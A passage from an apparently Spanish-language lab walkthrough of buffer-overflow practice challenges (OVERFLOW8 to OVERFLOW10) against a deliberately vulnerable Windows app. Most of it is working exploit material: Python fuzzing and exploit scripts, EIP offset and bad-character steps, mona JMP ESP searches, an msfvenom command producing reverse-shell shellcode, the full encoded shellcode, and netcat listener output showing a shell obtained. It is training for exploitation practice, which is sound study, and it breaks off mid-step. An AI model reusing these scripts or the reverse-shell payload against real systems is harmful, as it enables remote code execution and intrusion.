"\x0a\x07\x39\xae\xc1\x83\x59\x4d\xc3\xf9\xf1\xc8\x86\x43\x9c"
"\xea\x7d\x87\x99\x68\x77\x78\x5e\x70\xf2\x7d\x1a\x36\xef\x0f"
"\x33\xd3\x0f\xa3\x34\xf6")

eip_ret = pack("<L",0x62501203)
nops  = "\x90" * 16
padding = "C"
buff = "A" * 1786 + eip_ret + nops + shellcode + padding * (2220 - 1786 - 4 - 16 - 351)
try:
        log.info("Realizando conexion.")
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        connect = s.connect((address, port))
        data = s.recv(1024)
        s.send("OVERFLOW8 %s\r\n" % buff)
        s.close()
        log.info("Conexion Finalizada.")
except Exception as e:
        #print(e)
        log.failure("Parece que el programa se detuvo." )
        sys.exit(1)

Tras ejecutar el script logramos obtener una shell.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
➜  OVERFLOW_8 nc -lnvp 1338
Listening on 0.0.0.0 1338
Connection received on 192.168.22.128 49164
Microsoft Windows [Versin 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Users\sckull\Desktop\vulnerable-apps\oscp>echo %username%
echo %username%
sckull

C:\Users\sckull\Desktop\vulnerable-apps\oscp>

Overflow 9

Fuzzing

Realizamos fuzzing al segundo reto utilizando esta vez OVERFLOW9.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/python2.7
import socket, sys
from pwn import *
from struct import pack

if len(sys.argv) != 2:
        print("[*] Run:\n\toscp1.py <IP-address>")
        sys.exit(1)

address = sys.argv[1]
port = 1337

buff = ["A"]
c = 100

while len(buff) < 30:
        buff.append("A"*c)
        c += 100

p1 = log.progress("Progreso")

for string in buff:
        try:
                p1.status("Enviando %s bytes." % len(string))
                s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                connect = s.connect((address, port))
                data = s.recv(1024)
                s.send("OVERFLOW9 %s\r\n" % string)
                s.close()
                #log.info("x_x socket.")
        except Exception as e:
                #print(e)
                log.failure("Parece que el programa se detuvo con %s bytes." % len(string))
                sys.exit(1)

Encontramos que el programa se detuvo con 1700 bytes.

1
2
3
4
➜  OVERFLOW_9 ./overflow9.py 192.168.22.128
[] Progreso: Enviando 1700 bytes.
[-] Parece que el programa se detuvo con 1700 bytes.
➜  OVERFLOW_9

Observamos que el registro EIP se sobreescribió con “A"s, tambien vemos el registro ESP con los mismos valores.
image

Offset EIP

Creamos un patron de 1900 bytes utilizando pattern_create.rb.

1
2
3
┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./pattern_create.rb -l 1900
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2C

Modificamos el script para realizar el envio de este.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
buff =  "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2C"

try:
        log.info("Realizando conexion.")
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        connect = s.connect((address, port))
        data = s.recv(1024)
        s.send("OVERFLOW9 %s\r\n" % buff)
        s.close()
        #log.info("x_x socket.")
except Exception as e:
        #print(e)
        log.failure("Parece que el programa se detuvo.")

El registro EIP está lleno con el patron enviado asi mismo el registro ESP.
image

Mona nos muestra el offset con valor de 1514 bytes.

1
2
3
4
5
6
7
8
9
# !mona findmsp -distance 1900
[+] Command used:
!mona findmsp -distance 1900
[..]
[+] Examining registers
    EIP contains normal pattern : 0x35794234 (offset 1514)
    ESP (0x0177fa30) points at offset 1518 in normal pattern (length 382)
    EBP contains normal pattern : 0x79423379 (offset 1510)
    EBX contains normal pattern : 0x42327942 (offset 1506)

Control EIP

Utilizando la longitud del offset agregamos “B"s para confirmar que el offset es exacto y que tenemos el control del registro EIP, además agregamos un padding para mantener la longitud del buffer (1900).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
eip_ret = "B" * 4
nops  = ""
padding = "C"

buff = "A" * 1514 + eip_ret + nops + padding * (1900-1514-4) # junk 1514, eip 4, padding 382 = 1900
try:
        log.info("Realizando conexion.")
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        connect = s.connect((address, port))
        data = s.recv(1024)
        s.send("OVERFLOW9 %s\r\n" % buff)
        s.close()
        log.info("Conexion Finalizada.")
except Exception as e:
        #print(e)
        log.failure("Parece que el programa se detuvo." )
        sys.exit(1)

Tras ejecutar el script vemos que el registro EIP contiene “B"s lo que significa que el offset es exacto, además vemos el registro ESP con el padding (“C"s).
image

Espacio - Shellcode

Aumentamos el padding para tener asegurado un espacio ‘decente’ para nuestro shellcode, en este caso 120 bytes adicionales, en total tendríamos 502 bytes disponibles.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
eip_ret = "B" * 4
nops  = "" # 16 bytes
padding = "C"

buff = "A" * 1514 + eip_ret + nops + padding * (1900-1514-4+120) # 502 padding
# 1514 junk, 4 eip_ret, padding 502 (shellcode + nops)
# total buffer = 2020
try:
    log.info("Realizando conexion.")
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    connect = s.connect((address, port))
    data = s.recv(1024)
    s.send("OVERFLOW9 %s\r\n" % buff)
    s.close()
    log.info("Conexion Finalizada.")
except Exception as e:
    #print(e)
    log.failure("Parece que el programa se detuvo." )
    sys.exit(1)

El debugger muestra el mismo comportamiento por lo que tomamos la longitud del buffer en 2020 bytes de los cuales 502 bytes serán para el shellcode y los nops (16 bytes).

BadChars

Generamos con mona un array con todos los badchars exeptuando el valor null (\x00).

1
!mona bytearray -cpb "\x00"

Modificamos el script con nuestro array de badchars.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

eip_ret = "B" * 4
nops  = "" # 16 bytes
padding = "C"

buff = "A" * 1514 + eip_ret + nops + badchars + padding * (2020 - 1514 - 4 - 255) # 255 badchars
try:
        log.info("Realizando conexion.")
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        connect = s.connect((address, port))
        data = s.recv(1024)
        s.send("OVERFLOW9 %s\r\n" % buff)
        s.close()
        log.info("Conexion Finalizada.")
except Exception as e:
        #print(e)
        log.failure("Parece que el programa se detuvo." )
        sys.exit(1)

Realizamos la busqueda de badchars como en el primer reto. Inicialmente encontramos los badchars "\x00\x04\x3e\x3f\xe1".

1
\x00\x04\x3e\x3f\xe1

JMP ESP

Buscamos una instrucción de salto al ESP con mona.

1
2
!mona find -s 'jmp esp' -type instr -cm aslr=false,rebase=false,nx=false -cpb "\x00\x04\x3e\x3f\xe1"
!mona jmp -r esp -cpb "\x00\x04\x3e\x3f\xe1"

Encontramos dos direcciones de memoria con la instrucción jmp esp sin ningun tipo de protección.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
Log data
[+] Command used:
!mona find -s 'jmp esp' -type instr -cm aslr=false,rebase=false,nx=false -cpb "\x00\x04\x3e\x3f\xe1"
[+] Results :
     0x625011af : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011bb : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011c7 : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011d3 : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011df : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011eb : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011f7 : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x62501203 : 'jmp esp' | ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x62501205 : 'jmp esp' | ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x7ffe02e3 : 'jmp esp' |  {PAGE_READONLY}
Found a total of 10 pointers

Modificamos nuestr script agregando la dirección de la instrucción.

1
2
3
from struct import pack

eip_ret = pack("<L",0x625011d3)

Shellcode

Creamos nuestro shellcode pasandole los badchars que encontramos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ msfvenom -p windows/shell_reverse_tcp EXITFUNC=thread LHOST=192.168.22.1 LPORT=1338 -a x86 --platform windows -f c -b "\x00\x04\x3e\x3f\xe1"
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1500 bytes
unsigned char buf[] = 
"\xbf\xad\xc1\x09\x76\xdb\xd3\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
"\x52\x31\x7b\x12\x83\xeb\xfc\x03\xd6\xcf\xeb\x83\xd4\x38\x69"
"\x6b\x24\xb9\x0e\xe5\xc1\x88\x0e\x91\x82\xbb\xbe\xd1\xc6\x37"
"\x34\xb7\xf2\xcc\x38\x10\xf5\x65\xf6\x46\x38\x75\xab\xbb\x5b"
"\xf5\xb6\xef\xbb\xc4\x78\xe2\xba\x01\x64\x0f\xee\xda\xe2\xa2"
"\x1e\x6e\xbe\x7e\x95\x3c\x2e\x07\x4a\xf4\x51\x26\xdd\x8e\x0b"
"\xe8\xdc\x43\x20\xa1\xc6\x80\x0d\x7b\x7d\x72\xf9\x7a\x57\x4a"
"\x02\xd0\x96\x62\xf1\x28\xdf\x45\xea\x5e\x29\xb6\x97\x58\xee"
"\xc4\x43\xec\xf4\x6f\x07\x56\xd0\x8e\xc4\x01\x93\x9d\xa1\x46"
"\xfb\x81\x34\x8a\x70\xbd\xbd\x2d\x56\x37\x85\x09\x72\x13\x5d"
"\x33\x23\xf9\x30\x4c\x33\xa2\xed\xe8\x38\x4f\xf9\x80\x63\x18"
"\xce\xa8\x9b\xd8\x58\xba\xe8\xea\xc7\x10\x66\x47\x8f\xbe\x71"
"\xa8\xba\x07\xed\x57\x45\x78\x24\x9c\x11\x28\x5e\x35\x1a\xa3"
"\x9e\xba\xcf\x64\xce\x14\xa0\xc4\xbe\xd4\x10\xad\xd4\xda\x4f"
"\xcd\xd7\x30\xf8\x64\x22\xd3\xc7\xd1\x3a\x22\xa0\x23\x42\x21"
"\x0a\xad\xa4\x43\x7a\xfb\x7f\xfc\xe3\xa6\x0b\x9d\xec\x7c\x76"
"\x9d\x67\x73\x87\x50\x80\xfe\x9b\x05\x60\xb5\xc1\x80\x7f\x63"
"\x6d\x4e\xed\xe8\x6d\x19\x0e\xa7\x3a\x4e\xe0\xbe\xae\x62\x5b"
"\x69\xcc\x7e\x3d\x52\x54\xa5\xfe\x5d\x55\x28\xba\x79\x45\xf4"
"\x43\xc6\x31\xa8\x15\x90\xef\x0e\xcc\x52\x59\xd9\xa3\x3c\x0d"
"\x9c\x8f\xfe\x4b\xa1\xc5\x88\xb3\x10\xb0\xcc\xcc\x9d\x54\xd9"
"\xb5\xc3\xc4\x26\x6c\x40\xe4\xc4\xa4\xbd\x8d\x50\x2d\x7c\xd0"
"\x62\x98\x43\xed\xe0\x28\x3c\x0a\xf8\x59\x39\x56\xbe\xb2\x33"
"\xc7\x2b\xb4\xe0\xe8\x79";

Agregamos nuestro shellcode y NOPs, finalmente calculamos el padding para mantener la longitud de nuestro buffer (2020).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
shellcode = ("\xbf\xad\xc1\x09\x76\xdb\xd3\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
"\x52\x31\x7b\x12\x83\xeb\xfc\x03\xd6\xcf\xeb\x83\xd4\x38\x69"
"\x6b\x24\xb9\x0e\xe5\xc1\x88\x0e\x91\x82\xbb\xbe\xd1\xc6\x37"
"\x34\xb7\xf2\xcc\x38\x10\xf5\x65\xf6\x46\x38\x75\xab\xbb\x5b"
"\xf5\xb6\xef\xbb\xc4\x78\xe2\xba\x01\x64\x0f\xee\xda\xe2\xa2"
"\x1e\x6e\xbe\x7e\x95\x3c\x2e\x07\x4a\xf4\x51\x26\xdd\x8e\x0b"
"\xe8\xdc\x43\x20\xa1\xc6\x80\x0d\x7b\x7d\x72\xf9\x7a\x57\x4a"
"\x02\xd0\x96\x62\xf1\x28\xdf\x45\xea\x5e\x29\xb6\x97\x58\xee"
"\xc4\x43\xec\xf4\x6f\x07\x56\xd0\x8e\xc4\x01\x93\x9d\xa1\x46"
"\xfb\x81\x34\x8a\x70\xbd\xbd\x2d\x56\x37\x85\x09\x72\x13\x5d"
"\x33\x23\xf9\x30\x4c\x33\xa2\xed\xe8\x38\x4f\xf9\x80\x63\x18"
"\xce\xa8\x9b\xd8\x58\xba\xe8\xea\xc7\x10\x66\x47\x8f\xbe\x71"
"\xa8\xba\x07\xed\x57\x45\x78\x24\x9c\x11\x28\x5e\x35\x1a\xa3"
"\x9e\xba\xcf\x64\xce\x14\xa0\xc4\xbe\xd4\x10\xad\xd4\xda\x4f"
"\xcd\xd7\x30\xf8\x64\x22\xd3\xc7\xd1\x3a\x22\xa0\x23\x42\x21"
"\x0a\xad\xa4\x43\x7a\xfb\x7f\xfc\xe3\xa6\x0b\x9d\xec\x7c\x76"
"\x9d\x67\x73\x87\x50\x80\xfe\x9b\x05\x60\xb5\xc1\x80\x7f\x63"
"\x6d\x4e\xed\xe8\x6d\x19\x0e\xa7\x3a\x4e\xe0\xbe\xae\x62\x5b"
"\x69\xcc\x7e\x3d\x52\x54\xa5\xfe\x5d\x55\x28\xba\x79\x45\xf4"
"\x43\xc6\x31\xa8\x15\x90\xef\x0e\xcc\x52\x59\xd9\xa3\x3c\x0d"
"\x9c\x8f\xfe\x4b\xa1\xc5\x88\xb3\x10\xb0\xcc\xcc\x9d\x54\xd9"
"\xb5\xc3\xc4\x26\x6c\x40\xe4\xc4\xa4\xbd\x8d\x50\x2d\x7c\xd0"
"\x62\x98\x43\xed\xe0\x28\x3c\x0a\xf8\x59\x39\x56\xbe\xb2\x33"
"\xc7\x2b\xb4\xe0\xe8\x79")

eip_ret = pack("<L",0x625011d3)
nops  = "\x90" * 16
padding = "C"
buff = "A" * 1514 + eip_ret + nops + shellcode + padding * (2020 - 1514 - 4 - 16 - 351) 
try:
        log.info("Realizando conexion.")
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        connect = s.connect((address, port))
        data = s.recv(1024)
        s.send("OVERFLOW9 %s\r\n" % buff)
        s.close()
        log.info("Conexion Finalizada.")
except Exception as e:
        #print(e)
        log.failure("Parece que el programa se detuvo." )
        sys.exit(1)

Tras ejecutar el script logramos obtener una shell.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
➜  OVERFLOW_9 nc -lnvp 1338
Listening on 0.0.0.0 1338
Connection received on 192.168.22.128 49172
Microsoft Windows [Versin 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Users\sckull\Desktop\vulnerable-apps\oscp>echo %username%
echo %username%
sckull

C:\Users\sckull\Desktop\vulnerable-apps\oscp>

Overflow 10

Fuzzing

Realizamos fuzzing al segundo reto utilizando esta vez OVERFLOW10.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/python2.7
import socket, sys
from pwn import *
from struct import pack

if len(sys.argv) != 2:
        print("[*] Run:\n\toscp1.py <IP-address>")
        sys.exit(1)

address = sys.argv[1]
port = 1337

buff = ["A"]
c = 100

while len(buff) < 30:
        buff.append("A"*c)
        c += 100

p1 = log.progress("Progreso")

for string in buff:
        try:
                p1.status("Enviando %s bytes." % len(string))
                s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                connect = s.connect((address, port))
                data = s.recv(1024)
                s.send("OVERFLOW10 %s\r\n" % string)
                s.close()
                #log.info("x_x socket.")
        except Exception as e:
                #print(e)
                log.failure("Parece que el programa se detuvo con %s bytes." % len(string))
                sys.exit(1)

Encontramos que el programa se detuvo con 700 bytes.

1
2
3
4
➜  OVERFLOW_10 ./overflow10.py 192.168.22.128
[] Progreso: Enviando 700 bytes.
[-] Parece que el programa se detuvo con 700 bytes.
➜  OVERFLOW_10 

Observamos que el registro EIP se sobreescribió con “A"s, tambien vemos el registro ESP con los mismos valores.
image

Offset EIP

Creamos un patron de 1000 bytes utilizando pattern_create.rb.

1
2
3
┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./pattern_create.rb -l 1000
